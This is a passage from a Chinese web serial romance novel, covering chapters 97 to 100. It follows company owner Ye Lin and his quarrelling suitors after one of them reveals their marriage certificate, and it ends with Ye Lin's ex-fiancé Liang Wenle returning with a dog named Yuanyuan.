既然都不是,那就只能是陌生人,或者旧情人。 现在他公务缠身走不开,也只能靠楚诏抓人。 【不是我的车,家里应该有了陌生男人,你快去看。】 楚诏意识到事情的严重性,连忙进入电梯,火速按楼层,想立刻瞬移到叶临面前。 到了家门口,他发现密码被改,动用技术花了十几分钟才破解。 门开后就听见叶临的声音,黏糊糊的,像是刚睡醒。 走近卧室,就看见顾嘉致抱着叶临。 而叶临身上被浴巾裹住,明显是刚洗完澡,半个肩膀没有挡好,能够看见痕迹。 “你!”楚诏气得冲过去想揍顾嘉致,却被转身避开。 “他睡着了,安静。”顾嘉致低头去看怀里熟睡的叶临,眼神温柔。 叶临的脸颊泛着粉,睫毛卷长,半张脸都埋进毛绒浴巾里,看起来像熟睡的宝宝。 楚诏不忍心吵醒叶临,只好指了卧室,示意他把人抱进去,再滚出来跟他自己对峙。 顾嘉致慢慢地走进卧室,小心翼翼地把叶临放下,盖好被子,再轻轻地把门带上。 他们来到远离卧室的茶室说话,可以最大程度地减少噪音。 顾嘉致直截了当地把结婚证和结婚照放在桌面,骄傲自豪地宣布自己的身份:“我跟他登记结婚了,请你识相,早点滚出去。” 楚诏拿起结婚证来看,发现上面确实是叶临的脸和身份信息。 结婚证里,两个人戴婚戒,亲吻的画面格外刺眼,像是一根刺扎进心里。 楚诏捏紧结婚证的红色外皮,咬牙骂道:“你用了什么手段逼迫叶临!” 顾嘉致耸耸肩,嘲讽一笑:“需要用手段吗?我跟他说结婚,他就带身份证来民政局了。 你不知道,我们拍结婚照的时候,他多开心,婚戒现在还戴在他手上呢。” 楚诏再也忍不住,揪住他的衣领骂:“肯定是你逼他,我现在就让你付出代价!” 顾嘉致翻了个白眼:“你怀疑很正常,毕竟你没有真正得到过叶临的爱,所以无法想象他心甘情愿跟我结婚的样子。” 第98章 第98章“叶临心里最在意我” 叶临刚醒来就被顾嘉致折腾,很快就困了。 都没有感觉到顾嘉致抱着他去浴室,更不知道楚诏已经回到家里。 可是他睡得很浅,没多久就醒了。 隐约听到吵闹声,像是从远处传过来。 家里也就顾嘉致一个人,还能有什么人跟他吵呢? 不会是进贼了吧? 叶临走到门边去听,发现是楚诏的声音,于是打开门。 总算听清楚,是顾嘉致和楚诏的叫骂声,以及瓷器摔碎,木式桌椅倒地的声音。 应该是在打架,动静还不小。 叶临连忙跑出去,到了茶室就看见两个人扭打在一起。 顾嘉致的脸上有很多血痕,有拳头打出来的,也有被瓷器划到。 楚诏鼻青脸肿,嘴角和鼻尖都有血迹,也没有好多少。 叶临冲着他们喊:“再打就给我滚出去!” 两个人才发现叶临睡醒,立即停手,纷纷看向他。 楚诏:“叶临,你醒了。” 顾嘉致:“我和你说,是楚诏这小子先动手,我被迫应战。” 叶临抬脚同时踹了他们的肩膀,没好气地抱怨:“对,都怪你们两个吵,害得我没睡好!” 顾嘉致激动起来:“你看吧,我都说要打去外面打,都怪你先动手!” 楚诏冷哼一声:“是你先嘴贱,还好意思在这里血口喷人!” 叶临没兴趣听他们两个吵架,目光落在地上的红色结婚证。 结婚证和照片都散落在地,被一堆玻璃瓷片掩埋,看起来破碎不真实。 楚诏注意到他的目光,赶紧站起来,指着地上的结婚证问:“叶临,这是假的吧,你没和顾嘉致结婚,对不对?” 顾嘉致连忙拨开玻璃瓷片,手都被划伤溢出鲜血。 他疼得啧了一声,还是将结婚证抱在怀里耀武扬威:“这是真的,我和叶临去民政局领的结婚证,我们已经结婚了。” 楚诏情绪失控,再次抓住他的肩膀,又想打一架:“你胡说八道,叶临怎么可能跟你结婚!” 叶临生怕他们两个再次打起来,到时候还要他叫救护车,麻烦死了。 他立刻放狠话:“我说了,再打就滚出去。你们不想住在这里,外面有的是男人想住进来!” 楚诏顿时不敢轻举妄动,连忙松开手,站直身体,像个被罚站的学生。 顾嘉致得意地嘴角微勾,走到叶临旁边,仿佛将怀里的结婚证当成了凤印,轻蔑地看向楚诏:“看吧,叶临心里最在意我。” 叶临烦躁推开他,骂道:“自作多情!帮你个忙,就以为自己是我的真爱了。” 结婚证再次掉落在地,像是在嘲讽他的自负。 楚诏笑起来,眉眼一弯,重复叶临的话:“原来是自作多情啊,居然好意思得瑟。它刚刚真把自己当成女主人了,还想把我赶走!” 眼下对付吉财科技,就需要楚诏的人脉和能力,怎么可能赶走。 叶临:“你是公司的优秀员工,我怎么可能赶你走。” 楚诏赶紧凑上来,将自己联系吉财科技的事情说出来,又问结婚证的事情。 跟顾嘉致结婚的全程就是很诡异,尤其是他的心理状态:好像是可怜顾嘉致,又像是对顾嘉致无奈何,最后归咎于要履行当初私奔的诺言。 虽然叶临不是被迫登记,但说出来就是心甘情愿地跟男人结婚,有损面子。 难道要他承认自己有点喜欢顾嘉致吗,那样未免太打直男的脸了。 他现在的身份地位大大胜过从前,绝对不能在这种事情上丢人。 叶临没把跟顾嘉致登记结婚的全过程说出来,只是敷衍道:“反正结婚证是真的,但我不喜欢顾嘉致,就这样。” 顾嘉致原本垂着头盯结婚证,听到他这句话,立即抬头,难以忍受地大声质问:“你说你不喜欢我!” 叶临哪里想到他会有这么大反应,嫌弃地叹气:“唉,你又不是第一天知道这件事情,有必要这么惊讶吗?” 顾嘉致知道这个事实,但不想叶临当着楚诏的面说出来,像是被当众斩首,愤怒又委屈,攥紧拳头没有说话。 楚诏对结婚证的事情还是心存不满,但他看到顾嘉致吃瘪,也不想惹叶临厌烦生气,只好闭嘴。 叶临看着地上的一片狼藉,正想打电话请保洁上门,就听到门铃的响声,持续不断。 楚诏:“哦对,顾嘉致擅自改了密码,我都是黑进来的。” 叶临先是剜了顾嘉致一眼,骂他多事,又使唤楚诏去开门把密码改回去。 楚诏得到命令,乖乖地去开门。 沈邵先进来,紧接着就是顾柘,都穿着西装,应该是刚处理完工作不久。 只要看到楚诏和顾嘉致脸上的伤,就知道他们两个人打了一架。 顾柘瞥了顾嘉致,忍不住嘲讽:“没用的东西,偷跑出来又要叶临收留。” 顾嘉致冲上去揪住他衣襟,眼神凶狠:“顾柘,你再说一句,我真的会杀了你。” 亲兄弟打架才叫狠,知道对方的弱点,都会下死手。 叶临抓住顾嘉致的手腕,将他往后拽:“够了,你们两个又想进ICU是吧,都给我老实点!” 顾柘不想先出手落得名声糟糕,就看向楚诏,嫌弃道:“怎么没把他打残疾,还让他在这里站着招笑。” 楚诏明白他的话,冷眼讽刺:“我又不是傻子,心甘情愿地当你的刀。” 顾柘又看向叶临,语气柔和:“吉财科技的事情,我已经有了定数,五天后就能解决,你不用担心了。” 沈邵本来想嘲讽他独揽功劳,结果注意到地上的结婚证,立即拿起来看。 他看向叶临,声音因为惊讶都在发颤:“你,你跟顾嘉致登记结婚了?” 顾柘连忙抢过结婚证,脸色阴沉,手背都冒出可怕的青。筋,久久不语。 楚诏不想其他人好过,及时补充:“叶临说,结婚证是真的。他亲自跟顾嘉致走进民政局领,还拍了结婚照。” 顾嘉致又重回冠军宝座,可以居高临下地嘲讽这些失败的对手,微微抬眸强调:“对,结婚证是真的,叶临自愿跟我走进民政局,拍结婚照。” 沈邵其实早有预料,很快就接受事实。 看样子叶临也没有赶走他们,跟顾嘉致长相厮守的想法。 那又有什么关系,只要不是跟顾柘领证就好。 他走到叶临身边挽住手腕,低声道:“不管你做出什么决定,我都会陪着你,支持你。” 楚诏目瞪口呆,都怀疑沈邵不是人类,怎么能在这么短的时间内接受现实,再做出顺从听话的模样呢? 顾嘉致扯开沈邵的手臂,无情嘲讽:“少在那里装大度宽容,懂事就快点滚出去!” 沈邵没挣扎,而是看向叶临,声音哽咽:“你结婚了,不会把我赶出去吧?” “当然不会,你想住多久就住多久。”叶临瞪了顾嘉致:“撒开手,沈邵这几天为了吉财科技的事情很累。” 既然得到承诺,那何必在意叶临跟谁结婚,反正都会离的。 沈邵:“那就好,梵星是你我的心血,我们要看着它成长。” 叶临点点头,总感觉到气氛不对劲,像是暴雨天来临前的闷热。 顾柘将结婚证撕成两半,扔进垃圾桶里,盯着叶临的眼睛,犹如毒蛇在注视仇人:“原来这么轻松啊,他随便找个借口就能带你进民政局领结婚证。” 这话一出,楚诏和沈邵都暗自神伤。 所有人都想过跟叶临结婚,使尽浑身解数,都不如顾嘉致随便找个借口来得有用。 顾嘉致没有完全得到叶临的心,但也得到了很多部分,当然可以骄傲,可以耍脾气。 凭什么呢? 叶临感觉到三人幽怨的情绪,有些心虚地解释:“结婚证又不能说明什么,现在互相背叛出轨的夫妻还少了吗? 我和顾嘉致又不是真心相爱的关系,你在那里瞎激动什么!” 这话又击溃了顾嘉致骄傲的资本,他本可以高呼胜利,现在也沉默了。在他的眼里,他只是得到一张纸而已,还是笑话。 顾柘恨透了叶临,可是又无法离开。 刚刚看到结婚证,他想将叶临带走,关在所有人都找不到的地方。 可是那样只会重蹈覆辙,叶临不会爱他,只会恨他,没有任何意义。 顾柘气得头昏脑胀,快要昏厥,只好朝着门口走去,想远离这个伤心地,再思考别的对策。 叶临以为他要走,立即叫住:“你要走!” 顾柘停下脚步,没有应答。 经历这么多事情,叶临悲催地发现,自己好像有点离不开顾柘,或者说是依赖。 他知道,无论有什么困难都可以找顾柘解决,而且顾柘每次都能解决好。 谁让顾柘喜欢他呢,就是要一次又一次地接受他的无赖。 叶临在惊讶的目光中快速小跑,到了顾柘背后,咬牙骂道:“你走了,以后就不要来梵星,更不要来找我。我们之间算两清!” “两清?”顾柘转过身,将叶临拽进怀里:“我跟你没法两清,管你是结婚了还是什么,我都会缠着你,直到死!” 叶临也没推开他,故作精明地放狠话:“你本来就欠了我很多,应该一辈子免费为我打白工,管理梵星。” 顾嘉致想冲上去拆散他们,却被沈邵拦住。 沈邵故意打击他:“你不会以为叶临喜欢你吧,他都没拒绝,就不要去打扰他。” 楚诏也不想这家伙独占,也帮着拦住。 顾柘低头吻了叶临,就把门关上 屋内的大树枝繁叶茂,被四根藤蔓攀附,贪婪地吸食营养。 大风一来,树都站不住,颤颤巍巍的,快要倒塌,又被藤蔓扶住。 密不透风,半点树皮都看不见,只能看见散落一地的树叶。 吉财科技的科技人才都被挖过来,产品出了好几次bug,公司内部的关系户又不会处理,收益直线下降,很快就竞争不过梵星。 顾嘉致回到营销部,拉来几个大单子,梵星的盈利再创新高。 叶临要求四个员工要严格遵守规则,保证不吵架不内斗,才能继续居住。 他本人住在最大的主卧里,其余房间随便员工们挑选。 因为要长住,每个人都把自己的房间重新装修成喜欢的风格,折腾了好几个月。 基本的规则是轮休制,叶临只忙四天,其余三天可以自由支配。 他一般会根据每个人在公司里的表现,进行嘉奖或是惩罚,做个清正廉洁的好审判官。 比如顾嘉致因为贪恋在家跟他相处,请假四天耽误业绩,就被罚一周不能进主卧。 又比如楚诏争风吃醋,故意在业务上给沈邵使绊子,就被罚出差四天,不许回来。 再比如顾柘在公司当众侮辱其余三个人,影响恶劣,就被罚出差10天。 依据绩效,赏罚分明管理半年多,总算达成了内外和谐,再也不用处理打架的麻烦事。 又快到了发放年终奖的时候,员工们都在茶水间议论。 叶临来到公司视察,发现很多人的争论点都是沈邵和顾柘会不会因为这件事吵起来,毕竟他们两个人的关系不好。 “我还是希望沈总来分配,他人比较好,讲人情。” “其实顾总公平公正,可以避免某些拍马屁的人多领钱。” “沈总好,他可温柔了。” “顾总好,他公平!” 叶临在茶水间外听见员工要吵起来,于是走进去咳嗽两声。 员工们纷纷住嘴,都跟他问好。 叶临:“年终奖是我发,我肯定会兼顾公平和人情。” 大家都知道叶总最大方好说话,连忙围上去恭维,恨不得把他夸到天上去。 刘闻进门看见叶临,于是走过去打招呼。 两个公司老人,来到人少的走廊聊天,看着外面的高楼大厦,心生感慨。 梵星的收益规模利益扩大,现在已经是占据三层楼的大公司,福利也是互联网企业里最好的。 刘闻喝着茶水,聊起刚创业的艰难,以及现在的喜悦:“当初你说梵星市值会过万亿,我还当你是吹牛,现在就感觉有希望了。” 叶临靠着栏杆,看向门前那棵玉兰树:“上市以后,就快了。” 刘闻:“你想在哪个交易所上市啊?” 叶临抬头看天上的白云,意得志满:“当然是全球最大的交易所。” 刘闻皱眉苦思:“这可不容易。在海外上市本来就难,而且斯菲交易所的审核严格,有挺长路要走的。” “那就慢慢来,反正也就三五年的事。” 只要梵星能在全球最大的交易所上市,那就像是乘上火箭,发展速度飞快。 叶临自信满满,丝毫不怕失败。 刘闻听他的话,无奈地摇头,总感觉是天方夜谭。但他不喜欢说打击人的话,就只是附和。 他注意到玉兰树下,突然出现一个蓝色的身影,身形优越,穿着打扮潮流,头发还挑染了银色。 “我去,楼下怎么有个模特,办公司里的小年轻肯定坐不住了,得把他赶走。” “模特?” 叶临低头去看,发现门口已经有很多女员工站着,有人高呼名字,是熟悉的人名。 是他吗? 叶临朝着楼下跑去,呼吸都急促,耳边回响起无数的话语。 到了公司门口,他又停下脚步,隔着人群看玉兰树下的男人,久久没有动作。 男人注意到叶临的目光,穿过人群朝着他走过来。 应该是恢复好了,脸色红润,手脚都齐全,打扮还比从前更加招摇。 寒冷的冬天,别人都穿好重保暖的羽绒服和大衣,就他梁文乐穿着蓝色的牛仔短夹克,彰显自己的超长腿形。 顾柘和梁父梁母不是约定好了,要梁文乐永不回国吗 叶临思绪万千,像是夜里的潮汐不断,始终没有开口。 梁文乐朝他伸手:“你好,我叫梁文乐,今天来应聘梵星。” 第99章 第99章“为什么不要我?” 梁文乐声称自己是艺术专业,想要应聘宣传部门。 宣布部长看到梁文乐长得这么帅,完全就是免费的广告模特,赶紧从人群中挤出来,热情地想要跟梁文乐握手。 叶临却剜了他一眼,冷声拒绝:“宣传部不缺人,请你立刻离开。” 宣布部长就算很想要梁文乐,听到叶临的话也不敢自作主张,只能往后退。 刘闻配合着驱散人群,让这些员工都回到自己的工位上不要再看热闹。 哪怕是回到公司里,员工也在讨论叶临和梁文乐的八卦。 有的资历深,听见梁文乐的名字很快就反应过来,告诉后辈们。 “梁文乐之前跟叶总订婚过,但是被沈总搞砸了。当时还想来收购梵星,也被叶总拒绝。” “什么,梁文乐也跟叶总有过一腿!” “天呐,我数数,这都多少人了!” 八卦的员工们凑在一起,谈论叶临身边的几个男人。 沈邵从办公室里出来,听见这些员工在谈论自己,于是走到旁边,只是微笑,并不说话。 眼尖的员工们看见沈邵的表情,立即住嘴,还示意周围的同伴闭嘴。 一瞬间就鸦雀无声,所有人不管有事没事,都转过身面对电脑。 沈邵见效果已经达到,这才朝着门口走去。 他不会像顾柘那样对员工说刻薄的话,只需要站着假笑,所有人都会懂他的想法。 等到他离开,所有人都放松下来,胆子大的跑到茶水间小声议论,胆子小的就在手机上说。 门外的两个人还没离开,僵持不下。 梁文乐被拒绝,还是不肯离开,就堵在叶临面前故意较劲:“为什么不要我?” 想到他好不容易恢复,可能身体还是虚弱的,就没有进行激烈的挣扎。 叶临只是轻轻地戳戳他的心口,提醒他做过的荒唐事:“你自己心里清楚!” 梁文乐把姿态放低,近乎是哀求:“我跟你道歉,以前的事都是我不好。我想进梵星帮你,弥补我的过错。” 叶临不想再跟他有联系,坚定地拒绝:“不必,我们是孽缘,早该断掉。” 梁文乐连忙抓住他的手腕:“叶临!” 这时,沈邵抓住梁文乐强行甩开,冷着脸警告:“他已经拒绝你了。” 梁文乐看到沈邵,新仇旧恨都涌上来,握紧拳头差点就想揍人:“你个道德败坏的第三者,怎么好意思出现在我面前!” 叶临看到梁文乐骂人的气势,跟以前如出一辙,完全不像是重病初愈后的虚弱,顿时没了心疼的想法。 沈邵牵住叶临的手,挑衅地看向对方:“梁文乐,你没听过一句话吗,不被爱的才是第三者。” 梁文乐再次想到之前被绿,还跑去医院找叶临求复合,结果被沈邵搅和的破事,一个箭步就想冲上去捶死这个贱人。 叶临及时挡住,还将他往后推:“好了,这里不欢迎你,以后也不要来。” 梁文乐踉跄几步才停下来,抬头就看到公司大门关闭,而沈邵还特意转头看他,脸上尽是嘲弄。 他知道今天不适合跟叶临叙旧,会被沈邵这个贱人干扰,只能另外找时机了。 叶临刚进公司,楚诏就追过来问梁文乐的事情,像个大喇叭,吵得耳朵疼。 他怕被其他员工听到,影响自己的形象,迅速进入沈邵的办公室,关上门把声音都隔绝在外。 楚诏没有亲眼见证过叶临和梁文乐的恋爱,但对梁文乐在海上逼迫叶临记忆犹新,现在如临大敌,情绪紧张,就怕梁文乐再做恶。 叶临敷衍他两句,就懒得多说,坐下来喝饮料,拿出游戏机来玩。 沈邵:“这里又不是国外,叶临在我们身边,当然不会有事。” 楚诏:“说的也是,那这几天我们轮流陪着叶临。” 叶临听到这两个人又要粘着自己,连忙挥手拒绝:“少来,你们就老老实实地呆在公司帮我赚钱。 顾嘉致这段时间请假在家复习,家里有他陪我,你们送我回家就行。” 顾嘉致复学后,大部分时间都请人去代课,在梵星的营销部忙碌。 可是期末考试,要本人亲自参加,最近就只能请假在家疯狂复习,力求期末考试能及格就好。 楚诏想到这件事,就会在心里默默地诅咒顾嘉致挂科,下学期忙着去上课,没时间陪叶临。 沈邵想到工作没有完成,赶紧坐下来处理,想早点解决,好送叶临回去。 楚诏在叶临旁边坐下来,陪着他打游戏。 没多久,办公室门就被推开。 刚谈完业务的顾柘走进来,在叶临对面坐下,拿起茶水来喝。 虽然他看不起沈邵的为人,多次贬低嫌弃,但是喜欢沈邵办公室里的茶,每次来都会自觉拿来喝。 叶临放下游戏机,看向对面的顾柘:“你来这里做什么,又不是你办公室。” 顾柘放下茶杯:时间不早了,我送你回去,呆在这里,梁文乐天天都会来公司,很麻烦。” 这句话倒是在理,梁文乐知道他在梵星,天天都来公司,可不是影响员工正常工作,还是早点走吧。 叶临立即站起来,随手就把游戏机扔到桌上。 楚诏也站起来,要陪同他一块走。 沈邵抬眼去看*,心焦无力,他还有很多事情没有处理完,现在是无法送叶临回去了。 回程是顾柘开车,而叶临和楚诏在后排聊天,有说有笑,大都是在说游戏的开发细节。 顾柘听着不爽,尽量加快速度,很快就到了停车场。 叶临都习惯等人开门,接他下车,这次也是一样。可是刚打开门,就被顾柘按住亲,差点坐不稳。 是热恋绵长的吻,渴望亲密之中又有故意挑衅的成分在。 楚诏见状,脸色难看。 顾柘没给楚诏机会,干脆把叶临抱起来,大步朝着电梯走去,强先上楼。 叶临当然能看出来他在较劲:“你怎么像小学生一样!” 顾柘低头又亲了一下,咬牙骂道:“那你是什么,吊着小学生玩的坏人吗?” 叶临感觉跟他说话没意思,抬手就捶了他几拳,骂他神经病。 到了家门口,他挣扎着要下来,还是被顾柘抱紧。 门开后,他就冲着里面大喊“顾嘉致”,希望这小子能够出来救救自己。 结果关门后,顾嘉致都没有出现,他还被按着亲。 “顾柘,你放开我,不然就滚出去!” 叶临的脸颊都气红了,呼吸不匀,像是刚刚跑完一千米。 他在心里骂楚诏和顾嘉致不管用,尤其是楚诏,只是落后一步,怎为什么会这么慢! 顾柘擦过他的嘴角,注视着那双干净透彻的眼睛:“顾嘉致那个蠢货在书房学习,戴着耳机听不见,至于楚诏,他今天都别想进来。” 叶临骂他是混蛋,疯狂地拍打他的肩膀,想扇脸就被接住。 顾柘:“我这张脸还要出去应酬,帮你挣钱,打伤了就得请假,愿意吗?” 叶临立刻收回手,改成用力踹他:“去死!” 门外响起声音,是楚诏打开锁,可房门被抵住,进不去,只能用力撞。 顾柘抱起叶临往后退一大步,门就被撞开,而楚诏也摔倒在地上,吃了灰尘。 顾柘嘲弄他的愚蠢,心里得意。 楚诏爬起来,擦掉脸上的污渍:“你违反了规则,应该滚出去。” 顾柘:“是你自己犯蠢摔倒,与我无关。” 叶临:“再不放开我,就是违反规则!” 顾柘把他放在软皮沙发上,没有再强迫。其实他就是生气叶临在车上只跟楚诏聊天,才会在下车后报复。 现在已经报复完成,那就没有必要再折腾。 楚诏看出他的想法,骂道:“小气鬼!” 叶临也附和,又踹了顾柘几脚,跑到楚诏面前,关心他的伤势。 楚诏握住他的双手,强调自己没事。 学到快昏头的顾嘉致走出书房,看见三人如梦初醒:“你们怎么都回来了,是晚上吗?” 叶临看见顾嘉致学得黑眼圈都冒出来,走过去调侃:“你只看书不睡觉吗,怎么惨惨的。” 顾嘉致都快崩溃了,抱住叶临,靠着他的肩膀抱怨:“何止是惨,我都快死了,早知道就去听几节课了。” 叶临特别理解学渣的痛苦,拍拍他的肩膀安慰:“我懂我懂,学习真的很可怕!” 顾嘉致的心情总算好了点,跟他提议:“今天晚上,你陪陪我好不好。” 楚诏:“今天没轮到你,少在那里装可怜。” 顾柘:“谁像你这么没用,大二了还没修满学分。没天赋就专心学,别想这些事情。” 顾嘉致:“就你顾柘最牛,其他人都是傻子。” 顾柘上大学后就参加许多世界级的比赛,获得很好的名次,可以增加很多学分。 至于课程,他大一就学得差不多,远远领先同辈人,大二提前修满学分,不需要去学校。 在他眼里,学习是最简单的事,就是没想到亲弟弟会如此蠢笨,需要学很久。 叶临知道顾柘从小成绩优异,是他学生时代最讨厌的学霸,于是帮着顾嘉致说话:“学习本来就很辛苦,你们两个在这里嘲讽顾嘉致,真的很过分!” 顾嘉致连连附和:“就是就是,还是你心疼我。” 顾柘和楚诏难得站在同一战线,纷纷嘲讽顾嘉致没用,还爱装可怜。 顾嘉致就跟叶临抱怨:“他们两个从小就是学习好的,哪里懂我们的苦,还是我们能够互相理解。” 叶临点点头,又去骂他们:“烦死了,你们快去厨房做饭,少在这里吵。” 楚诏率先进入厨房,而顾柘僵持两分钟,也走进去。 反正他们只要想到今晚上不是顾嘉致陪叶临,那就可以暂时忍耐。 顾嘉致哄着叶临进书房陪自己,打算先吃饱再跟这些没名分的小喽啰较量。 第100章 第100章圆圆,好久不见 书房里摆满了各种笔记,有同学勾画的重点,也有学长的课本。 一眼看过去,全是奇怪的字符和古怪的数字,什么都看不懂。 叶临坐在软皮椅子上,拿起课本来看:“这就是大学的课本啊?” 顾嘉致从后面圈住他的腰,紧紧地抱住,枕着肩膀:“对啊,看得我头昏脑胀,算得想吐。” 叶临就是天生不爱学习的料,听到这段话呕吐感都有了,连忙放下课本,像是丢掉可怕的刑具。 “我都看三天了,根本复习不完,你说我能考过吗?” “能,能吧,我也不知道。” “60分就好了,可是凑到好困难。” 顾嘉致学的金融类的专业,很多东西都算不明白,也分析不好。临时抱佛脚很难通过,现在愁得焦头烂额。 叶临听到60分,眼前就出现一座高大且无法翻越的山峰,窒息感强烈。 他以前各科都考个位数,感觉60分遥不可及,连连摇头:“那是非常困难的。” 顾嘉致叹气,拱了拱他的脸:“你亲亲我,我就有动力继续学习。” 叶临推开他的头:“你还是继续学习吧,感觉这样浪费时间,会考不过。” 顾嘉致哼了一声,又凑过去:“不许诅咒我,考不到60就是挂科,我还要补考,补考不过就是得重修,上一个学期的课,会死的。” 叶临感觉到事情的严峻,试着提议:“顾柘跟你是同专业的,他是你亲哥,你就求求他帮你辅导吧,这样还有希望。” 求顾柘,那怎么可能! 他小时候哪怕考倒数,都不会去求全校第一的顾柘,丢人! 顾嘉致埋首去嗅,企图获取精神慰籍:“不要,到时候他肯定会嘲讽我,我还要脸呢。” 叶临表示理解地点头:“好吧,顾柘这个人嘴贱,那你自己努力。” 顾嘉致假装做出哭泣的动作,肩膀都在发抖:“你亲亲我嘛,我真的太可怜了。” 叶临哪里见过顾嘉致这么憔悴焦虑的状态,再加上他也是学渣,特别能共情,于是转过身去吻。 顾嘉致犹如久旱逢甘霖,哪里还有什么忧愁,赶紧抱住爱人尽情享受。 “嗯” 叶临慢慢地往后退,倒在书桌上。 垫着书本,眼神迷离,盛着水光。 顾嘉致饶有兴致地欣赏这一幕,凑到他耳边小声说道:“你要是跟我读同一所高中,我才不学习,每天都把你拐到我家里做这种事情。” 叶临抬手去推拒,却被扣紧,脸颊泛红:“我又没读过高中。” 顾嘉致满脑子坏水,眯着眼睛笑:“初中啊,初中更好。” 叶临越早属于他,就越安心。他恨不得,叶临才是他的双胞胎兄弟,诞生那一刻就陪伴彼此,直到死亡。 叶临听着他的话下流无耻,用力扇了巴掌:“你乱说什么,还不赶紧去学习!” 顾嘉致的脸颊红了,还要故意逗他:“要是你会怀孕,那十几岁的时候,我们就可以奉子成婚了。” 艹,这小子越说越离谱! 叶临抬脚去踹,骂他:“你读书读傻了嘛,男人不会怀孕!” 顾嘉致抬手盖住,感受孕育生命的温度:“你又不是男人,是魅魔,吃多了是不是就能怀了!” “艹!”叶临惊叫一声就开始大骂:“顾嘉致,我艹你大爷的,别乱来。” 顾嘉致知道叶临会纵容自己,所以格外地放肆,还要故意调侃:“怀我的宝宝吧,因为我们的孩子是婚生子,其他人的孩子都是私生子。” 叶临发现领了结婚证后,顾嘉致说话越来越离谱了,现在真心想撕烂顾嘉致这张破嘴。 用力挥手去打,又被捧着亲。 顾嘉致现在已经不计较叶临是不是爱他,只会为了每个有叶临陪伴的瞬间而高兴。 反正他有名分,叶临总会对他心软,这就已经赢了所有人。 “去死!” 叶临疯狂挣扎,又被捂住嘴,泪水都要流出来。 “你舍得我去死吗?” 顾嘉致盯着他的眼睛问,声音很轻,像是随时会走的风。 叶临停下挣扎,陷入沉默。实际上他不想再去icu门口等顾嘉致一次,太折磨人了。 门突然被推开,顾柘见状立即冲进来,分开他们两个。 他将叶临抱在怀里,拿起一本书就朝着顾嘉致脸上砸去:“说学习,学这种事情,想挂科嘛!” 顾嘉致没有提前防备,刚好被砸到脸,不服气地看向顾柘。 叶临想到刚刚的事情,耳朵还是烫,连忙埋进顾柘怀里:“抱我出去吃饭,我这几天都不要理顾嘉致了!” 顾柘赶紧搂紧,骂亲弟“幼稚”,才走出书房。 顾嘉致烦躁地把书本撕了,痛骂顾柘好几句,又把门关上,打算专心学习。 叶临被带进浴室里洗澡,感觉顾柘身上的气压很低,忍不住拍他的脸问:“你板着脸给谁看!” 顾柘:“你不会反抗吗,任由他折腾?” 叶临听到这句话,直接用热水泼顾柘:“说的这么容易,我都不能反抗你,还能反抗他?” 这又是半真半假了,确实很多时候都想反抗顾柘,但大部分时候都会选择迁就顾嘉致。 对于他来说,对顾柘有一丁点感情吧,大部分时间还是好用的工具。 比如刚刚他向顾柘求助,那顾柘绝对不会加入,会好好地保护他。 顾柘动作僵硬地帮忙清洗,表情难看。 让一个男人帮心上人祛除别人的痕迹,是非常过分的行为。 脾气再好,都会心存怨恨吧。 再说了,公司还需要顾柘呢。 才不是在意顾柘,都是为了梵星,为了钱。 叶临想了想,主动仰头亲顾柘,轻声道:“我今天晚上要你陪,不许生气了!” 顾柘皱紧的眉心很快放松下来,动作已经变得轻柔小心,嘴上还要逞强:“你就只会耍花招!” 叶临轻轻地踹他,得意地微抬下巴,像只骄傲的猫:“谁让你吃这套,活该!” 顾柘掐住细瘦精致的脚踝,心里已经预想夜里怎么折腾这个趾高气昂的魅魔。 这回叶临说到做到,连续三天都没搭理顾嘉致,也不去他的房间。 第一天夜里,顾柘询问叶临生气的原因,当然没有得到结果。 第二天夜里,楚诏询问,还是没有得到结果。 第三天夜里,沈邵采取柔和式询问,终于得到了答案。当天晚上就煽风点火,说顾嘉致拿怀孕取笑男人太过分,应该再冷落几天。 叶临最爱听沈邵的枕边风,第四天还是没理顾嘉致,书房区域都不会去靠近。 其余二人得知这件事,也会帮着沈邵说顾嘉致坏话,力求让叶临彻底厌恶。 顾嘉致本来复习压力就大,还没有叶临汲取能量,每天都像个活死人,飘进飘去。 他发誓,等到考过期末考试,必须想办法报复这三个人,再把叶临拐去旅游。 周六是个风和日丽的好日子,公园里聚集着许多人,都是冬日里趁着好天气出来晒太阳。 叶临闲着没事干,骑车出去兜风,刚好路过公园,喜欢这里的湖水,于是走进来逛逛。 周围没有那四个吵吵嚷嚷的男人,耳根子都清净了,可以好好地欣赏自然风光。 叶临看见不远处有几个染着彩色头发的青年,就想走过去聊聊天。 忽然听到一阵狗叫,紧接着就看见雪白的大狗朝着他跑过来,扒着膝盖摇尾巴。 叶临低头去看,发现是只萨摩耶,圆圆的脸和粉粉的耳朵,笑起来像圆圆。 “汪汪汪!” 萨摩耶歪着头看叶临,神情有些低落,似乎是在疑惑为什么叶主人不记得自己了。 叶临猛然惊醒,连忙蹲下来抱住萨摩耶的脖子,大力抓揉蓬松的毛。 “圆圆,你怎么在这里啊?” “汪汪汪汪!” 圆圆把头埋进他的怀里,像是在倾诉自己遭受的委屈,特别招人疼。 叶临又摸了摸,发现圆圆身上的牵引绳品质没有之前好,应该是便宜货。 要是梁家养圆圆,怎么可能会用便宜的牵引绳? 难道是梁文乐把圆圆送人,或者卖掉了? “圆圆,梁文乐不要你了吗,送你去别人家吃苦?” 叶临心疼地轻揉圆圆的头,询问它的过往经历,已经想抱这只可怜的狗回家养着。 “是你不要它了。” 梁文乐的声音突然响起,抬头就能够看见他穿着灰色风衣站在面前,琥珀色的眼睛在阳光下灿烂如金。 叶临才发现,他身上的衣服没有任何logo,材质看起来也不像之前那样昂贵,是普通大众款,而不是量身定制。 现在的梁文乐凭借着优越的身形,像个秀场模特,而不是贵公子,少了金钱的气息。 他的神情憔悴,看起来连续很久没有睡好觉,跟订婚宴后的几天很像。 叶临站起来斥责他:“我什么时候不要它了,明明是你不给我养!你现在是怎么回事,要把它卖掉,送人吗?” 梁文乐颇为委屈,大声控诉:“我对它够好了,离家出走后,自己都吃不好,还给它吃最贵的狗粮。” 离家出走? 这一切都串联起来了,梁父梁母想要梁文乐换身份在国外重新生活,远离叶临。 可是梁文乐私自跑回国,估计没带多少钱,才会混成现在这个样子。 叶临再仔细观察,发现梁文乐手上没有昂贵的腕表,更没有佩戴宝石饰品,朴实无华。 圆圆感觉到梁主人的痛苦,跑到跟前,抬起毛茸茸的大爪子扒拉膝盖,叫声也变得缓和。 梁文乐蹲下来摸它的头,主动蹭,希望借此安慰到主人。 叶临看出来圆圆没有被虐待,总算放心。 “你现在住在哪里?” “就在附近的公寓。” 梁文乐说完,牵着圆圆转身朝着右手边的人行道走,没有再跟叶临搭话。 